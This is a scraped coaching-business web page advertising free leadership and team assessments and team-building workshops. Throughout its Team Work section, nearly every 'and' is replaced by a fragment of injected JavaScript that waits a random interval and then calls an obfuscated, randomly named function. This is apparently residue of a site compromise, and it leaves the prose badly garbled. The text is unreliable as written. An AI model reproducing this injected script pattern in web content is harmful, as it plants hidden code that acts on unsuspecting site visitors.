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Free Leadership Assessment

Welcome! After filling out your basic contact information below, you will be directed to the Free Leadership Assessment.

After you complete and submit the assessment, you will be invited to schedule a complimentary coaching call. You will be amazed to discover how much insight you can acquire from this one short exercise.

We look forward to speaking with you!

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Free Team Assessment

Welcome! After filling out your basic contact information below, you will be directed to the Free Team Assessment.

After you complete and submit the assessment, you will be invited to schedule a complimentary coaching call. You will be amazed to discover how much insight you can acquire from this one short exercise.

We look forward to speaking with you!

View More

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We help you achieve outstanding results by being outstanding

Team Work


Picture1High Performing Teams Create “Synergy”

Definition of Synergy – The interaction of two or more agents to produce a combined effect greater than the sum of their separate effects.

A high-performing team can be defined as a group of people with specific roles andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and complementary talents andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and skills, aligned with andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and committed to a common purpose, who consistently show high levels of collaboration andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and innovation, that produce superior results.

We design highly interactive andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and engaging workshops to address your team’s needs.

Are you tolerating any of the following challenges?
  1. Members try to find someone to blame for problems rather than accepting responsibility or focusing on solutions.
  2. Some members don’t seem engaged andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and won’t speak up even though you have an open door policy?
  3. You sense an undercurrent of dissatisfaction but can’t quite pinpoint the problem.
  4. There are cliques in the group.
  5. There seems a lack of enthusiasm andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and commitment andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and it’s almost like just a job so they can get paid.
  6. Without the leader they struggle with direction andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and motivation.
  7. Some members only focus on what they want, rarely considering how things might affect the larger team.

Undoubtedly if you are putting up with any of these challenges you most probably have a team culture that is damaging, frustrating andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and downright exhausting!
Even though there are many different situations that can cause the team to underachieve, there are a few key techniques that deal with many of these behaviours.

Let us help you by completing a Free Team assessment & Needs Analysis plus receive a Development Strategy session free (Value $550)
Our team assessment & Needs Analysis assesses team members
  • Understandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}anding andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and commitment to the team’s goals.
  • Understandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}anding of the team’s purpose, mission andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and vision.
  • Understandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}anding each other’s accountability andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and diversity of skill sets.
  • Decision making processes.
  • Confidence in leadership andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and level of individual leadership.
  • Level of openness in communications.
  • Level of trust.
  • Ability to deal with conflict constructively
  • Team Culture.
Our workshops are designed to:
  • Meet your teams needs using a variety of tools, models andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and experiential activities.
  • Guaranteed to engage andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and energise participants.
  • Practical andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and highly interactive.
  • Facilitate self-discovery andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and promote ownership of outcomes.

We guarantee we will discover the real issues that are holding the team back from performing at their best. We’ll bring any issues to the surface andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and facilitate the team to deal with them in a positive engaging way, releasing you from the inter-relationship work andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and allowing you to get on with building a constructive positive team culture.

 

 





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